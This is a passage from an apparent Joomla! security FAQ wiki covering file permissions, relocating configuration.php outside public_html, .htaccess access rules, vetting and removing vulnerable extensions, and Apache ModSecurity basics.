 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include andrequire. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you can not forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines [[Image:Compat_15.png]]==&lt;br /&gt;
&lt;br /&gt;
Edit your /includes/defines.php file. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
==How do I move confidential files outside of public_html?==&lt;br /&gt;
&lt;br /&gt;
One challenge in Joomla! is ensuring that certain PHP files in public_html containing executable code or confidential data are protected from direct Internet access.&lt;br /&gt;
&lt;br /&gt;
There are various ways to protect such files, but most are not optimal. Many users and developer groups, such as Gallery2 and Apache.org strongly recommend against keeping vulnerable files and confidential data inside public_html.&lt;br /&gt;
&lt;br /&gt;
The following method seems to be the simplest and most elegant way to protect read-only files that, for whatever reason, must be stored in public_html. In this example, we protect configuration.php, perhaps the most confidential file of any Joomla! site.&lt;br /&gt;
&lt;br /&gt;
Using this method, even if the Web server somehow delivers the contents of PHP files, for example due to a misconfiguration, nobody can see the contents of the real configuration file.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Move configuration.php to a safe directory outside of public_html and rename it whatever you want. We use the name &#039;&#039;joomla.conf&#039;&#039; in this example.&lt;br /&gt;
&lt;br /&gt;
2. Create a new configuration.php file containing only the following code (See Important Notes below.):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 require( dirname( __FILE__ ) . &#039;/../joomla.conf&#039; );&lt;br /&gt;
&lt;br /&gt;
3. Make sure the new configuration.php file is not writable, so that it can not be overwritten by the Joomla! Web admin interface.&lt;br /&gt;
&lt;br /&gt;
4. If you need to change configuration settings, do so manually in the relocated &#039;&#039;joomla.conf&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important Notes!&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
:In the above code example, do not include blank lines or any characters (including blank spaces) before the php start tag. If you do, you will very likely see the following error.&lt;br /&gt;
&lt;br /&gt;
 Warning: Cannot modify header information - headers already sent by (output started at  &lt;br /&gt;
 /home/xxxxx/public_html/configuration.php:2) in /home/xxxxx/public_html/index.php on line 250&lt;br /&gt;
&lt;br /&gt;
:Note that leaving out the PHP end tag ( ?&amp;gt; ) in the above code example is intentional. This ensure that any blank lines at the end of the file will NOT be interpreted as HTML, which would cause an error. Leaving the PHP end tag out is an accepted method for avoiding such conflicts. This works because the PHP interpreter automatically halts PHP interpretation at the end of every file. The only time you actually need the PHP end tag is if HTML code follows the PHP code in the same file.&lt;br /&gt;
&lt;br /&gt;
:See also How to adjust Joomla 1.5 defines&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? [[Image:Compat_10.png]]==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are depreciated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan to install a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as is.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add Apache rewrite rules to your .htaccess file. For example, the following will redirect all attempts to access files with names starting with, &amp;quot;phpMyAdmin&amp;quot; to index.php.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^/phpMyAdmin.*$ /index.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of filename&lt;br /&gt;
